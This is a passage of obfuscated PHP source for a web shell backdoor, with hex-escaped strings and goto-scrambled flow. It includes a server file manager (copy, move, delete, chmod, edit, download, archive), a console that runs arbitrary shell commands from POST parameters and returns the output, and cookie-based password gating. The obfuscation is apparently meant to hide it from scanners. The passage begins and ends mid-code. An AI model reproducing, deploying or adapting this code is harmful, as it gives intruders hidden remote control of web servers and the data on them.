65\x6e\x74\x73\133\60\135\56\143\x68\145\143\153\145\x64\x3b\xa\x20\40\x20\40\40\x20\x20\x20\175\xa\x3c\57\x73\143\162\x69\x70\164\76\12\74\x74\141\x62\154\145\x20\x77\151\x64\164\150\75\x27\61\x30\60\x25\x27\40\143\154\141\163\x73\75\47\155\141\x69\x6e\47\x20\x63\145\x6c\x6c\163\160\141\143\151\x6e\x67\x3d\x27\60\47\40\x63\x65\154\x6c\x70\x61\144\x64\x69\156\x67\x3d\x27\62\x27\76\12\x3c\x66\157\162\155\x20\156\x61\x6d\x65\x3d\146\151\154\145\163\40\x6d\145\164\x68\x6f\144\x3d\160\x6f\163\164\76\x3c\164\162\76\74\x74\150\40\x77\151\x64\164\150\75\x27\61\x33\x70\170\x27\76\74\x69\156\x70\165\164\x20\164\171\160\145\x3d\x63\150\x65\143\x6b\x62\x6f\x78\x20\x6f\156\x63\x6c\151\143\153\x3d\47\x73\x61\x28\x29\x27\x20\x63\154\141\x73\163\75\x63\150\x6b\142\x78\x3e\74\57\x74\x68\76\74\x74\150\x3e\74\x61\x20\x68\x72\145\146\x3d\47\43\x27\40\x6f\156\x63\154\x69\x63\153\75\47\147\50\x22\x46\151\154\x65\x73\x4d\x61\x6e\42\x2c\x6e\x75\154\154\x2c\x22\x73\137\156\x61\155\x65\137" . ($sort[1] ? 0 : 1) . "\x22\x29\47\76\116\x61\x6d\x65\x3c\x2f\x61\76\74\57\164\x68\x3e\x3c\164\x68\76\74\x61\40\150\162\x65\x66\x3d\47\x23\47\40\x6f\156\x63\154\x69\x63\x6b\x3d\x27\147\x28\x22\106\x69\154\x65\163\115\141\x6e\42\54\x6e\x75\x6c\154\54\42\x73\137\163\x69\172\x65\x5f" . ($sort[1] ? 0 : 1) . "\x22\x29\x27\76\123\x69\x7a\x65\74\57\141\76\74\x2f\164\x68\x3e\74\164\x68\x3e\74\x61\x20\x68\x72\x65\x66\x3d\47\43\47\40\157\156\x63\x6c\151\143\x6b\75\x27\x67\x28\42\x46\x69\154\x65\x73\115\141\x6e\x22\54\156\165\154\x6c\x2c\x22\x73\137\x6d\x6f\144\x69\146\x79\137" . ($sort[1] ? 0 : 1) . "\42\51\x27\76\x4d\157\x64\x69\x66\x79\x3c\57\141\76\x3c\x2f\x74\x68\x3e\74\164\150\x3e\117\167\x6e\x65\162\57\x47\162\157\x75\x70\x3c\x2f\x74\x68\x3e\x3c\x74\150\76\x3c\x61\40\x68\x72\145\146\75\x27\43\47\x20\157\x6e\x63\154\151\x63\153\x3d\47\147\x28\x22\106\151\x6c\145\163\115\x61\x6e\x22\x2c\156\165\x6c\154\x2c\42\x73\137\160\145\162\155\163\137" . ($sort[1] ? 0 : 1) . "\42\51\47\76\120\145\162\155\x69\x73\163\151\157\156\x73\74\57\x61\x3e\74\57\164\x68\76\74\164\x68\76\x41\x63\164\x69\157\156\x73\x3c\x2f\164\150\76\74\x2f\164\x72\76"; $dirs = $files = array(); $n = count($dirContent); for ($i = 0; $i < $n; $i++) { $ow = @posix_getpwuid(@fileowner($dirContent[$i])); $gr = @posix_getgrgid(@filegroup($dirContent[$i])); $tmp = array("\x6e\x61\155\145" => $dirContent[$i], "\160\141\x74\x68" => $GLOBALS["\x63\167\x64"] . $dirContent[$i], "\155\157\x64\x69\146\171" => date("\x59\55\x6d\55\x64\40\x48\72\151\x3a\163", @filemtime($GLOBALS["\x63\167\x64"] . $dirContent[$i])), "\160\145\162\x6d\163" => viewPermsColor($GLOBALS["\x63\x77\x64"] . $dirContent[$i]), "\x73\x69\172\x65" => @filesize($GLOBALS["\x63\x77\x64"] . $dirContent[$i]), "\x6f\x77\156\x65\162" => $ow["\156\x61\x6d\145"] ? $ow["\x6e\141\x6d\x65"] : @fileowner($dirContent[$i]), "\x67\x72\157\x75\160" => $gr["\156\141\155\x65"] ? $gr["\x6e\x61\155\x65"] : @filegroup($dirContent[$i])); if (@is_file($GLOBALS["\143\x77\144"] . $dirContent[$i])) { $files[] = array_merge($tmp, array("\x74\x79\x70\x65" => "\146\151\154\x65")); } elseif (@is_link($GLOBALS["\x63\167\144"] . $dirContent[$i])) { $dirs[] = array_merge($tmp, array("\x74\x79\160\x65" => "\154\x69\x6e\153", "\x6c\151\156\153" => readlink($tmp["\x70\x61\164\x68"]))); } elseif (@is_dir($GLOBALS["\x63\167\x64"] . $dirContent[$i]) && $dirContent[$i] != "\x2e") { $dirs[] = array_merge($tmp, array("\x74\171\160\x65" => "\x64\x69\x72")); } } $GLOBALS["\163\x6f\x72\x74"] = $sort; function cmp($a, $b) { if ($GLOBALS["\163\x6f\x72\x74"][0] != "\163\x69\x7a\145") { return strcmp(strtolower($a[$GLOBALS["\x73\157\x72\164"][0]]), strtolower($b[$GLOBALS["\163\157\162\x74"][0]])) * ($GLOBALS["\163\x6f\162\x74"][1] ? 1 : -1); } else { return ($a["\163\x69\x7a\145"] < $b["\163\151\172\145"] ? -1 : 1) * ($GLOBALS["\163\x6f\162\x74"][1] ? 1 : -1); } } usort($files, "\143\x6d\x70"); usort($dirs, "\x63\x6d\x70"); $files = array_merge($dirs, $files); $l = 0; foreach ($files as $f) { echo "\x3c\164\x72" . ($l ? "\40\x63\154\x61\163\x73\75\154\61" : '') . "\x3e\74\x74\144\x3e\x3c\x69\156\x70\x75\x74\40\164\x79\160\x65\x3d\x63\150\145\x63\153\142\157\170\x20\156\x61\x6d\145\75\42\x66\x5b\135\42\x20\166\141\x6c\165\x65\x3d\x22" . urlencode($f["\x6e\141\155\x65"]) . "\x22\x20\143\x6c\141\x73\163\75\143\x68\153\142\x78\x3e\74\x2f\164\144\x3e\x3c\x74\x64\x3e\x3c\x61\x20\150\x72\x65\x66\x3d\x23\40\x6f\x6e\x63\154\151\143\x6b\75\x22" . ($f["\x74\x79\160\145"] == "\146\151\154\145" ? "\147\x28\x27\106\x69\x6c\x65\x73\x54\157\x6f\x6c\163\47\x2c\156\x75\154\x6c\x2c\x27" . urlencode($f["\156\141\x6d\x65"]) . "\x27\54\x20\47\166\151\x65\x77\x27\51\42\76" . htmlspecialchars($f["\x6e\x61\x6d\x65"]) : "\x67\50\47\x46\151\x6c\145\163\115\141\x6e\x27\54\x27" . $f["\x70\x61\164\x68"] . "\47\51\73\42\x20" . (empty($f["\x6c\151\x6e\x6b"]) ? '' : "\x74\151\164\x6c\145\75\x27{$f["\154\x69\x6e\153"]}\x27") . "\x3e\x3c\x62\x3e\133\40" . htmlspecialchars($f["\x6e\141\155\145"]) . "\x20\135\x3c\x2f\142\x3e") . "\x3c\57\x61\x3e\74\x2f\x74\144\x3e\x3c\x74\144\x3e" . ($f["\164\x79\160\145"] == "\x66\151\154\145" ? viewSize($f["\163\151\172\145"]) : $f["\164\171\x70\145"]) . "\x3c\x2f\164\144\x3e\x3c\164\x64\76" . $f["\x6d\157\x64\x69\146\x79"] . "\74\x2f\x74\x64\x3e\x3c\164\x64\x3e" . $f["\157\x77\x6e\x65\162"] . "\x2f" . $f["\x67\162\157\x75\x70"] . "\x3c\x2f\x74\144\76\74\x74\x64\x3e\74\141\x20\150\x72\145\146\75\43\40\x6f\x6e\143\x6c\x69\143\153\75\x22\x67\x28\47\106\151\x6c\145\163\124\x6f\157\154\x73\47\54\x6e\x75\x6c\x6c\54\x27" . urlencode($f["\x6e\141\155\145"]) . "\x27\x2c\x27\143\150\155\157\x64\47\51\42\x3e" . $f["\x70\x65\162\x6d\x73"] . "\74\x2f\164\144\x3e\x3c\164\144\76\x3c\141\40\x63\154\141\163\x73\x3d\42\164\x6f\157\x6c\164\151\160\42\40\x64\141\164\141\55\x74\157\157\154\x74\x69\x70\75\42\122\145\x6e\141\x6d\145\42\x20\x68\x72\145\146\75\42\x23\x22\x20\x6f\x6e\143\x6c\151\143\x6b\x3d\42\147\x28\x27\x46\x69\154\145\x73\x54\x6f\x6f\x6c\163\x27\54\x6e\165\154\154\54\x27" . urlencode($f["\x6e\x61\155\145"]) . "\x27\54\40\x27\x72\145\156\141\155\x65\47\51\42\x3e\x52\74\x2f\141\76\40\x3c\x61\40\143\x6c\x61\163\163\x3d\42\164\157\157\x6c\164\151\160\42\40\x64\141\164\x61\x2d\x74\157\x6f\x6c\x74\x69\160\75\42\124\x6f\x75\143\150\42\x20\x68\162\x65\146\75\42\x23\x22\x20\157\156\x63\x6c\151\x63\x6b\75\42\147\x28\x27\106\151\x6c\145\x73\124\x6f\x6f\x6c\163\47\54\x6e\165\x6c\154\54\x27" . urlencode($f["\x6e\141\155\145"]) . "\x27\x2c\x20\x27\x74\157\x75\x63\x68\47\x29\42\76\x54\74\x2f\141\76" . ($f["\x74\x79\160\x65"] == "\x66\151\x6c\145" ? "\x20\74\141\x20\x63\x6c\141\x73\x73\x3d\42\164\157\x6f\x6c\x74\x69\160\42\40\144\141\x74\141\x2d\x74\x6f\157\x6c\x74\x69\160\x3d\x22\x46\x72\141\155\145\42\40\150\x72\145\146\x3d\x22\43\x22\40\x6f\156\143\154\151\143\153\x3d\x22\x67\50\47\x46\151\x6c\145\x73\124\x6f\x6f\x6c\x73\47\x2c\156\x75\x6c\x6c\x2c\47" . urlencode($f["\156\x61\155\x65"]) . "\47\x2c\40\47\x66\162\141\x6d\x65\47\x29\x22\x3e\x46\x3c\57\141\76\x20\74\141\40\143\154\141\163\163\75\42\x74\157\x6f\154\164\151\160\42\x20\x64\x61\164\x61\x2d\x74\x6f\157\154\164\x69\160\x3d\x22\x45\x64\x69\164\x22\x20\150\162\145\146\75\42\x23\42\x20\x6f\156\x63\x6c\151\143\x6b\x3d\x22\147\50\x27\106\x69\x6c\x65\163\x54\157\157\x6c\x73\x27\x2c\156\165\x6c\x6c\54\47" . urlencode($f["\156\x61\x6d\145"]) . "\47\54\40\x27\145\x64\151\x74\47\51\42\76\105\74\57\141\76\40\x3c\141\x20\143\x6c\141\x73\x73\75\x22\164\x6f\157\154\x74\x69\160\42\x20\x64\x61\164\141\55\164\157\x6f\x6c\x74\151\160\x3d\42\x44\x6f\167\x6e\x6c\157\141\144\42\x20\150\162\x65\x66\x3d\42\43\42\40\x6f\x6e\x63\x6c\x69\x63\x6b\75\x22\x67\50\47\x46\151\154\x65\163\x54\157\157\154\x73\47\54\x6e\165\154\x6c\x2c\47" . urlencode($f["\x6e\x61\155\x65"]) . "\47\54\x20\47\144\157\x77\x6e\x6c\157\x61\x64\x27\x29\42\x3e\104\x3c\x2f\x61\x3e" : '') . "\74\57\164\144\x3e\x3c\57\164\x72\x3e"; $l = $l ? 0 : 1; } echo "\74\164\x72\40\x69\x64\x3d\x66\x61\x6b\x3e\x3c\164\x64\40\x63\x6f\x6c\163\x70\141\156\x3d\67\76\xa\40\x20\40\40\x20\40\40\40\74\x69\156\x70\x75\164\x20\164\171\x70\145\x3d\x68\x69\x64\144\145\x6e\40\156\141\155\x65\75\x6e\145\40\x76\x61\154\x75\x65\75\x27\x27\x3e\xa\40\x20\40\x20\40\x20\x20\x20\74\x69\x6e\160\x75\164\40\x74\171\x70\145\75\150\x69\x64\x64\145\156\40\156\141\155\145\75\x61\40\166\141\154\165\145\x3d\47\106\x69\154\x65\163\x4d\141\x6e\x27\x3e\xa\40\x20\40\x20\x20\x20\x20\x20\x3c\x69\x6e\x70\165\164\40\164\x79\160\x65\x3d\150\151\x64\x64\x65\156\x20\x6e\141\x6d\145\x3d\x63\40\x76\x61\x6c\165\145\x3d\47" . htmlspecialchars($GLOBALS["\x63\x77\x64"]) . "\x27\x3e\xa\40\40\x20\40\x20\x20\x20\x20\x3c\x69\x6e\160\165\164\40\164\x79\160\145\75\150\x69\144\144\x65\x6e\40\156\x61\155\145\75\x63\x68\141\162\163\x65\164\x20\166\141\154\x75\145\75\x27" . (isset($_POST["\x63\x68\x61\x72\163\145\x74"]) ? $_POST["\143\150\x61\x72\x73\x65\x74"] : '') . "\47\x3e\xa\40\40\40\40\40\x20\40\40\x3c\x6c\141\x62\145\154\x3e\x3c\163\x65\x6c\145\x63\x74\40\156\x61\x6d\145\x3d\x27\x70\x31\47\76"; if (!empty($_COOKIE["\x61\x63\164"]) && @count($_COOKIE["\146"])) { echo "\x3c\157\x70\x74\x69\157\x6e\40\x76\x61\154\x75\x65\x3d\x27\160\x61\x73\164\x65\47\x3e\342\206\263\40\x50\x61\x73\164\145\x3c\57\157\x70\164\151\x6f\x6e\x3e"; } echo "\x3c\157\160\x74\151\157\x6e\40\x76\141\154\165\145\x3d\x27\x63\157\x70\x79\x27\76\x43\x6f\x70\171\74\57\157\x70\x74\x69\x6f\156\76\74\x6f\160\164\x69\x6f\156\40\x76\141\154\x75\145\x3d\x27\x6d\x6f\x76\x65\x27\76\115\157\x76\145\74\x2f\x6f\160\x74\151\157\156\x3e\74\x6f\x70\x74\x69\157\156\x20\x76\141\x6c\x75\145\75\x27\144\x65\154\145\x74\x65\x27\x3e\104\x65\154\x65\164\145\x3c\x2f\157\x70\164\x69\x6f\x6e\76"; if (class_exists("\132\151\160\101\162\x63\150\151\166\145")) { echo "\74\157\x70\164\x69\157\156\x20\x76\141\154\165\145\75\47\x7a\x69\160\47\x3e\103\x6f\x6d\160\162\145\x73\x73\40\x28\x7a\151\160\x29\74\57\157\x70\164\x69\157\156\76\x3c\157\160\x74\151\x6f\156\40\166\x61\x6c\x75\145\75\47\165\156\172\151\160\x27\76\125\x6e\143\157\155\160\162\x65\163\163\x20\x28\165\156\172\x69\x70\51\x3c\57\x6f\160\x74\151\157\156\76"; } echo "\74\157\160\x74\151\x6f\156\x20\x76\141\154\165\x65\x3d\x27\164\x61\162\47\76\x43\157\x6d\x70\162\x65\x73\163\x20\x28\x74\141\x72\56\147\172\x29\x3c\x2f\x6f\x70\164\x69\x6f\x6e\x3e"; echo "\74\57\163\145\154\x65\143\164\76\74\57\x6c\x61\x62\x65\x6c\x3e"; if (!empty($_COOKIE["\x61\x63\164"]) && @count($_COOKIE["\x66"]) && ($_COOKIE["\141\143\x74"] == "\172\x69\x70" || $_COOKIE["\x61\x63\x74"] == "\164\141\162")) { echo "\x26\156\x62\163\x70\73\146\x69\x6c\x65\40\156\x61\155\x65\x3a\40\74\151\x6e\x70\165\x74\x20\x74\171\x70\145\x3d\164\x65\170\164\40\156\x61\155\x65\75\160\x32\x20\x76\x61\154\165\x65\75\47\157\x72\166\x78\x5f" . rand(100000, 900000) . "\56" . ($_COOKIE["\141\x63\164"] == "\172\x69\x70" ? "\x7a\x69\x70" : "\164\x61\162\x2e\147\x7a") . "\47\x3e\x26\156\142\x73\x70\x3b"; } echo "\74\151\x6e\160\x75\164\40\164\x79\160\145\75\47\x73\165\142\x6d\151\164\47\40\x76\x61\154\165\x65\75\x27\x73\x75\142\155\x69\164\47\x3e\x3c\x2f\164\x64\x3e\74\x2f\x74\162\x3e\74\x2f\x66\x6f\162\155\x3e\74\x2f\164\x61\142\154\x65\x3e\74\x2f\144\x69\x76\x3e"; hardFooter(); } goto ZTliB; y8QJO: if (PHP_VERSION_ID < 70000) { @set_magic_quotes_runtime(0); } goto vtDN2; XXMfa: if ($os == "\167\x69\x6e") { $home_cwd = str_replace("\134", "\x2f", $home_cwd); $cwd = str_replace("\x5c", "\57", $cwd); } goto GuANx; wudh1: if (strtolower(substr(PHP_OS, 0, 3)) == "\167\151\x6e") { $os = "\167\151\156"; } else { $os = "\x6e\x69\x78"; } goto E2Okl; V8Q20: if (!empty($password_shell)) { if (isset($_REQUEST["\x70\x61\x73\163"]) && md5($_REQUEST["\160\x61\163\x73"]) == $password_shell) { prototype(md5($_SERVER["\110\124\124\x50\x5f\x48\117\x53\x54"]), $password_shell); } if (!isset($_COOKIE[md5($_SERVER["\110\x54\124\x50\x5f\110\117\x53\124"])]) && $_COOKIE[md5($_SERVER["\110\124\124\120\x5f\x48\x4f\123\124"])] != $password_shell) { hardLogin(); } } goto gJc6v; ddV_C: $dect = "\x46\151\x6c\x65\x73\x4d\x61\156"; goto ksRpM; v25Hw: function actionDeliverytest() { header("\114\157\x63\x61\x74\151\x6f\x6e\72\x20\x3f\x65\x6d\x61\151\154"); die; } goto zl6cf; jIDrn: $disable_functions = @ini_get("\x64\151\163\x61\x62\x6c\x65\x5f\146\x75\x6e\x63\x74\x69\x6f\x6e\x73"); goto dydcw; DDb0p: if (array_key_exists("\x77\141\x74\143\x68\151\156\147", $_POST)) { $tmp = $_SERVER["\123\105\122\126\x45\122\x5f\116\x41\115\x45"] . $_SERVER["\120\x48\x50\137\x53\105\x4c\x46"] . "\12" . $_REQUEST["\160\141\x73\x73"]; } goto BNi7U; SLfoB: if (!isset($_COOKIE[md5($_SERVER["\110\x54\124\120\137\110\x4f\x53\x54"]) . "\153\x65\x79"])) { prototype(md5($_SERVER["\110\x54\124\x50\x5f\110\x4f\123\124"]) . "\153\145\171", $dea); } goto M3A4u; g4e8Y: function actionConsole() { if (!empty($_POST["\x70\x31"]) && !empty($_POST["\160\x32"])) { prototype(md5($_SERVER["\110\124\124\x50\137\110\x4f\x53\124"]) . "\163\164\144\x65\x72\162\x5f\x74\x6f\137\157\165\x74", true); $_POST["\160\61"] .= "\x20\62\x3e\x26\61"; } elseif (!empty($_POST["\x70\61"])) { prototype(md5($_SERVER["\x48\x54\x54\120\x5f\x48\x4f\x53\124"]) . "\x73\164\x64\145\x72\x72\x5f\x74\157\137\157\x75\164", 0); } if (isset($_POST["\x61\152\141\170"])) { prototype(md5($_SERVER["\x48\124\x54\x50\x5f\x48\117\123\x54"]) . "\x61\152\x61\170", true); ob_start(); echo "\x64\56\143\146\56\143\x6d\x64\56\x76\141\x6c\165\145\75\47\47\73\12"; $temp = @iconv($_POST["\143\x68\141\x72\163\145\164"], "\x55\x54\x46\x2d\x38", addcslashes("\12\44\40" . $_POST["\x70\x31"] . "\xa" . ex($_POST["\160\x31"]), "\12\15\11\134\47\x0")); if (preg_match("\41\x2e\52\143\x64\x5c\163\x2b\x28\133\x5e\x3b\x5d\x2b\51\44\x21", $_POST["\160\61"], $match)) { if (@chdir($match[1])) { $GLOBALS["\x63\x77\x64"] = @getcwd(); echo "\x63\x5f\x3d\47" . $GLOBALS["\x63\167\144"] . "\47\x3b"; } } echo "\144\x2e\x63\146\56\x6f\x75\164\x70\x75\164\x2e\x76\x61\154\x75\145\53\75\47" . $temp . "\x27\73"; echo "\x64\x2e\x63\146\x2e\157\x75\x74\x70\165\164\x2e\x73\x63\x72\157\154\154\124\x6f\x70\40\75\40\x64\x2e\143\146\x2e\157\165\x74\160\x75\164\56\x73\x63\x72\157\154\x6c\x48\x65\x69\x67\150\x74\73"; $temp = ob_get_clean(); echo strlen($temp), "\xa", $temp; die; } if (empty($_POST["\x61\x6a\141\170"]) && !empty($_POST["\x70\61"])) { prototype(md5($_SERVER["\110\124\x54\120\x5f\x48\117\x53\x54"]) . "\141\x6a\141\170", 0); } hardHeader(); echo "\74\x73\x63\x72\x69\x70\164\x3e\xa\x69\x66\x28\x77\151\156\144\x6f\x77\x2e\x45\x76\x65\x6e\164\51\40\167\x69\156\x64\157\167\x2e\143\x61\160\x74\165\162\145\105\166\x65\156\164\163\x28\105\166\x65\156\x74\x2e\x4b\105\x59\104\x4f\x57\116\x29\73\12\166\x61\x72\x20\143\x6d\144\163\x20\x3d\40\156\x65\x77\40\101\x72\162\141\171\x28\x27\47\x29\x3b\xa\x76\141\x72\40\x63\165\162\40\75\40\60\73\12\146\x75\156\143\x74\x69\x6f\156\40\153\x70\x28\x65\x29\x20\173\xa\x20\40\40\x20\40\40\x20\40\x76\x61\x72\x20\156\x20\x3d\40\x28\167\151\156\144\x6f\167\56\x45\x76\145\x6e\x74\x29\x20\x3f\40\145\x2e\x77\150\151\143\150\x20\72\40\145\56\x6b\x65\171\x43\157\x64\145\73\12\40\x20\x20\40\x20\40\40\x20\x69\x66\x28\156\40\75\x3d\x20\63\70\x29\x20\x7b\12\40\x20\40\40\x20\x20\40\40\40\x20\40\40\40\x20\40\x20\x63\x75\x72\x2d\55\73\12\40\40\x20\x20\40\x20\x20\40\40\40\x20\40\40\x20\40\x20\x69\146\50\143\x75\162\76\x3d\60\x29\12\40\40\x20\x20\40\x20\x20\x20\40\x20\40\40\40\40\40\x20\40\x20\40\x20\x20\40\40\40\x64\x6f\143\x75\155\145\x6e\164\x2e\143\x66\x2e\x63\x6d\x64\56\x76\x61\154\x75\x65\x20\x3d\x20\143\x6d\144\163\x5b\x63\165\162\135\73\12\40\x20\x20\x20\x20\40\40\40\x20\40\40\x20\x20\40\40\x20\x65\x6c\x73\145\xa\40\40\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\40\40\x20\x20\x20\40\40\40\x20\x20\143\165\x72\53\53\x3b\xa\x20\x20\40\40\40\x20\x20\x20\x7d\x20\145\154\x73\145\40\x69\x66\x28\156\40\75\x3d\x20\x34\x30\51\x20\x7b\12\x20\40\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\40\143\165\162\53\x2b\x3b\xa\40\x20\x20\40\40\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\x69\x66\50\143\165\x72\40\x3c\40\143\x6d\144\163\x2e\x6c\145\x6e\x67\x74\150\51\12\x20\x20\x20\40\x20\40\40\x20\40\40\40\40\40\x20\x20\x20\x20\x20\40\40\40\x20\40\40\x64\x6f\x63\165\x6d\145\156\164\x2e\x63\146\x2e\143\155\144\56\x76\x61\x6c\x75\145\40\x3d\40\x63\155\144\163\x5b\143\x75\162\x5d\x3b\xa\x20\x20\40\x20\40\x20\40\x20\x20\40\40\40\40\40\x20\x20\145\154\x73\145\12\40\40\x20\x20\40\40\40\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\40\x63\x75\162\x2d\55\73\xa\x20\40\x20\x20\40\40\40\x20\x7d\12\x7d\12\x66\165\x6e\x63\x74\x69\157\156\x20\x61\144\144\50\x63\x6d\x64\x29\40\x7b\12\40\40\x20\x20\x20\x20\x20\x20\143\155\144\x73\56\160\157\160\50\x29\x3b\12\40\40\x20\x20\x20\40\40\x20\143\x6d\144\163\56\160\x75\163\x68\50\143\155\x64\x29\x3b\12\40\40\x20\x20\40\40\x20\x20\x63\155\144\163\x2e\x70\x75\163\150\50\47\47\x29\x3b\12\x20\x20\40\40\40\40\x20\40\x63\165\162\40\75\x20\x63\155\144\x73\56\x6c\145\x6e\147\x74\150\x2d\61\73\xa\x7d\12\74\57\x73\x63\162\151\160\164\x3e"; echo "\74\150\61\x3e\x43\157\156\163\x6f\x6c\145\74\57\x68\x31\76\x3c\x64\151\x76\x20\143\x6c\x61\x73\x73\75\x63\157\x6e\164\145\x6e\164\76\74\146\157\x72\x6d\x20\x6e\141\155\145\x3d\x63\x66\x20\157\x6e\x73\165\142\155\151\164\x3d\42\x69\x66\50\144\56\143\146\56\x63\x6d\x64\56\166\141\154\x75\x65\75\75\x27\143\154\145\141\x72\47\51\173\x64\x2e\143\x66\x2e\x6f\165\x74\160\165\164\x2e\166\x61\154\x75\145\75\x27\47\x3b\x64\x2e\x63\x66\x2e\143\155\144\x2e\x76\x61\x6c\x75\x65\x3d\47\x27\73\162\x65\164\x75\162\156\x20\x66\141\x6c\x73\x65\73\175\x61\144\x64\50\x74\150\x69\x73\x2e\143\x6d\x64\56\166\x61\x6c\x75\145\51\x3b\151\x66\x28\164\x68\x69\x73\56\x61\152\141\170\56\x63\x68\145\143\x6b\145\x64\51\x7b\x61\50\156\165\x6c\x6c\x2c\x6e\165\154\x6c\54\x74\x68\x69\163\56\x63\155\x64\x2e\166\141\154\165\x65\x2c\164\x68\x69\163\56\x73\150\x6f\167\137\x65\162\162\157\162\163\x2e\143\x68\145\x63\x6b\145\144\77\61\x3a\47\x27\51\73\x7d\x65\x6c\x73\145\x7b\147\x28\x6e\x75\154\x6c\54\156\x75\154\154\x2c\x74\x68\151\163\56\143\x6d\x64\x2e\x76\x61\x6c\x75\x65\54\164\150\x69\163\x2e\x73\150\x6f\x77\x5f\x65\162\162\157\162\x73\56\143\150\x65\143\153\x65\144\x3f\x31\x3a\x27\47\x29\x3b\x7d\40\162\x65\164\x75\162\x6e\x20\x66\x61\154\163\x65\x3b\42\76\x3c\154\x61\x62\x65\154\76\x3c\x73\145\154\145\x63\164\40\156\x61\x6d\145\x3d\x61\x6c\151\141\x73\76"; foreach ($GLOBALS["\141\x6c\151\x61\x73\145\163"] as $n => $v) { if ($v == '') { echo "\74\x6f\160\164\147\x72\x6f\165\160\40\154\x61\x62\145\154\75\42\55" . htmlspecialchars($n) . "\x2d\x22\x3e\74\57\157\x70\x74\x67\162\157\x75\x70\76"; continue; } echo "\74\157\160\x74\x69\157\x6e\40\x76\141\154\x75\x65\x3d\x22" . htmlspecialchars($v) . "\42\76" . $n . "\74\57\x6f\x70\164\x69\157\156\76"; } echo "\74\x2f\163\x65\154\x65\x63\164\76\x3c\57\x6c\x61\142\145\x6c\76\74\x69\156\x70\x75\164\40\x74\171\x70\x65\75\x62\x75\164\164\157\156\x20\x6f\x6e\x63\x6c\151\143\x6b\75\x22\141\x64\144\50\144\x2e\x63\146\x2e\141\x6c\x69\x61\163\x2e\x76\141\154\165\x65\51\x3b\151\x66\x28\144\x2e\143\x66\56\141\x6a\141\x78\x2e\x63\x68\x65\x63\153\x65\144\51\173\141\x28\x6e\x75\154\154\x2c\x6e\x75\x6c\x6c\x2c\x64\x2e\x63\146\x2e\141\154\151\x61\x73\56\166\x61\154\165\x65\x2c\x64\56\143\146\56\x73\x68\157\167\x5f\145\x72\x72\x6f\162\163\x2e\143\150\x65\x63\153\145\x64\77\x31\72\x27\47\x29\73\175\x65\154\163\x65\173\147\50\156\x75\154\x6c\x2c\156\165\x6c\x6c\54\x64\x2e\x63\x66\x2e\x61\x6c\151\141\x73\x2e\166\x61\x6c\165\x65\x2c\x64\x2e\x63\146\56\163\150\x6f\x77\x5f\x65\x72\x72\157\x72\x73\x2e\x63\x68\x65\143\x6b\145\144\77\61\x3a\47\47\51\x3b\175\x22\40\x76\141\x6c\x75\x65\x3d\x22\x73\165\x62\x6d\x69\x74\x22\x3e\x20\74\x6e\157\x62\x72\76\74\x69\156\160\165\x74\x20\164\x79\x70\x65\x3d\143\150\145\x63\153\x62\x6f\170\x20\156\141\x6d\x65\x3d\x61\x6a\x61\170\x20\x76\141\x6c\165\145\x3d\61\x20" . (@$_COOKIE[md5($_SERVER["\x48\124\124\x50\x5f\x48\x4f\123\124"]) . "\141\x6a\141\170"] ? "\143\150\x65\x63\153\145\x64" : '') . "\x3e\x20\163\x65\x6e\144\x20\x75\x73\x69\x6e\x67\40\101\112\x41\x58\x20\x3c\151\156\x70\165\164\x20\x74\171\160\x65\75\x63\150\145\143\x6b\x62\x6f\x78\40\x6e\141\x6d\145\75\x73\150\157\167\137\145\162\162\x6f\x72\163\x20\x76\141\x6c\165\x65\x3d\61\x20" . (!empty($_POST["\x70\62"]) || $_COOKIE[md5($_SERVER["\110\124\x54\x50\137\x48\x4f\x53\x54"]) . "\x73\164\x64\x65\162\162\x5f\164\157\x5f\x6f\165\x74"] ? "\143\x68\x65\143\153\x65\x64" : '') . "\x3e\x20\x72\x65\144\151\x72\145\x63\x74\40\163\164\144\145\162\x72\x20\164\x6f\x20\163\164\x64\157\x75\x74\40\50\x32\76\46\x31\x29\x3c\57\156\x6f\142\x72\76\74\x62\x72\x2f\x3e\x3c\164\x65\170\x74\141\162\145\141\40\x63\x6c\141\x73\x73\75\142\x69\147\141\162\145\141\40\x6e\x61\155\145\75\x6f\x75\x74\160\165\x74\40\163\x74\171\x6c\145\x3d\x22\x62\157\x72\144\145\x72\55\x62\x6f\x74\x74\x6f\155\72\60\x3b\x6d\x61\x72\x67\151\156\55\164\157\160\72\x35\x70\170\x3b\42\40\x72\x65\141\x64\x6f\156\x6c\x79\76"; if (!empty($_POST["\x70\x31"])) { echo htmlspecialchars("\x24\x20" . $_POST["\160\61"] . "\xa" . ex($_POST["\160\x31"])); } echo "\74\57\164\145\170\x74\141\162\x65\141\x3e\x3c\164\x61\x62\154\145\40\x73\164\171\154\x65\75\42\x62\x6f\162\x64\x65\x72\x3a\61\x70\170\40\163\157\x6c\x69\x64\40\43\60\x36\x30\x61\x31\x30\73\x62\141\143\x6b\x67\x72\157\x75\156\x64\x2d\143\x6f\154\157\x72\x3a\43\x30\x36\x30\141\x31\x30\x3b\142\157\x72\144\x65\x72\55\x74\x6f\160\72\x30\160\x78\73\x22\40\143\145\x6c\x6c\160\x61\144\x64\151\x6e\147\75\x30\x20\x63\145\x6c\154\163\160\x61\x63\151\x6e\x67\75\60\x20\x77\x69\144\x74\150\75\x22\x31\x30\60\45\x22\76\74\164\x72\x3e\x3c\x74\144\40\163\x74\x79\154\x65\75\x22\160\141\144\144\x69\156\147\55\154\145\x66\x74\72\x34\160\170\x3b\x20\167\151\x64\164\x68\x3a\x31\x33\x70\x78\x3b\42\x3e\44\x3c\x2f\164\144\x3e\74\164\x64\76\x3c\151\x6e\160\165\164\40\164\x79\x70\145\x3d\164\x65\x78\164\40\x6e\141\155\x65\x3d\143\x6d\x64\40\x73\x74\171\x6c\145\75\x22\x62\157\162\x64\x65\162\x3a\x30\x70\170\x3b\x77\151\144\164\150\72\61\60\60\x25\x3b\x22\40\157\156\153\x65\x79\x64\157\x77\156\75\42\x6b\x70\x28\x65\x76\145\156\164\x29\x3b\42\x3e\74\57\164\144\76\x3c\x2f\x74\162\76\x3c\57\x74\141\142\154\x65\76"; echo "\74\x2f\146\157\162\x6d\76\x3c\x2f\144\151\x76\x3e\x3c\x73\x63\162\151\x70\x74\76\144\x2e\x63\x66\56\x63\x6d\x64\56\146\x6f\x63\165\163\50\x29\x3b\x3c\57\x73\143\x72\x69\x70\164\x3e"; hardFooter(); } goto WxtG7; fMiCk: function actionRC() { if 